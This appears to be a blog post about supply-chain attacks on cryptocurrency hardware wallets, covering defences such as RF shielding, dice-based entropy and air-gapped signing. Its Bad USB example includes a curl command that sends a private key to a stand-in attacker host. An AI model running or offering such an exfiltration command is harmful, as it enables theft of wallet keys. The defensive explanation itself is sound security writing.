Hardware wallets are hackable, yet this is OK.

Even the greatest hardware wallets may be hacked, as demonstrated by the recent wallet.fail talk at the 35c3 conference. And if certain wallet makers claim that their products are not vulnerable, I would be sceptical of such claims. In this post, I'd want to discuss supply channel attacks and how to leverage a compromised hardware wallet. Supply channel attacks are extremely appealing to hackers since they affect a large number of devices simultaneously and may not require the attacker to engage with the device further. Simply ship and await. Let us analyse what the attacker is capable of doing and how we may put an end to it. We'll begin with very easy countermeasures and work our way up to a somewhat complex one that involves some arithmetic.

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Using a hacked hardware wallet to store Bitcoins? This is acceptable.

The attacker's ultimate goal is to obtain our private keys. He might theoretically overwrite the device's firmware, replace the secure element with a malicious chip, or add hardware implants that enable him to conduct Bad USB attacks or transmit our private keys over the air.

Mobile networks and SigFox are ubiquitous, and the attacker does not need to be there to intercept the signal. All wireless implants can be blocked using RF shielding – a metal bucket will suffice. Additionally, commercial products for phones and other tiny devices are available. Does this appear to be too paranoid? Depends on the value of your possessions...

Nanotechnology for RF shielding

Following that, we should avoid generating private keys on a hacked device and instead utilise our own source of entropy. We can utilise dice, coins, or any other source of entropy as a source of entropy. The optimal solution is to combine numerous sources of entropy and XOR their outputs. While generating a proper mnemonic from the dices may be challenging, it is possible.

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Additionally, connecting a potentially harmful device to the computer may result in complications. Even though a Bad USB attack is extremely limited, plugging in a device that can spoof a keyboard, launch a terminal, and execute arbitrary code such as curl http://attacker.com/?pk=myprivatekey> is frightening. As a result, we should air-gap our hardware wallet. It's straightforward with ColdCard because it is designed to be air-gapped. Trezor has stated that it will integrate this feature "within two weeks." For any other device, we can link the hardware wallet through a specialised air-gapped computer, sign a transaction there, save the signed transaction to an SD card, and transfer it to the online machine. And only then do we verify the transaction and announce it to the network.

Now, the hardware wallet's only communication with the outside world is our valid bitcoin transaction. Nothing could possibly go wrong, correct? Not quite...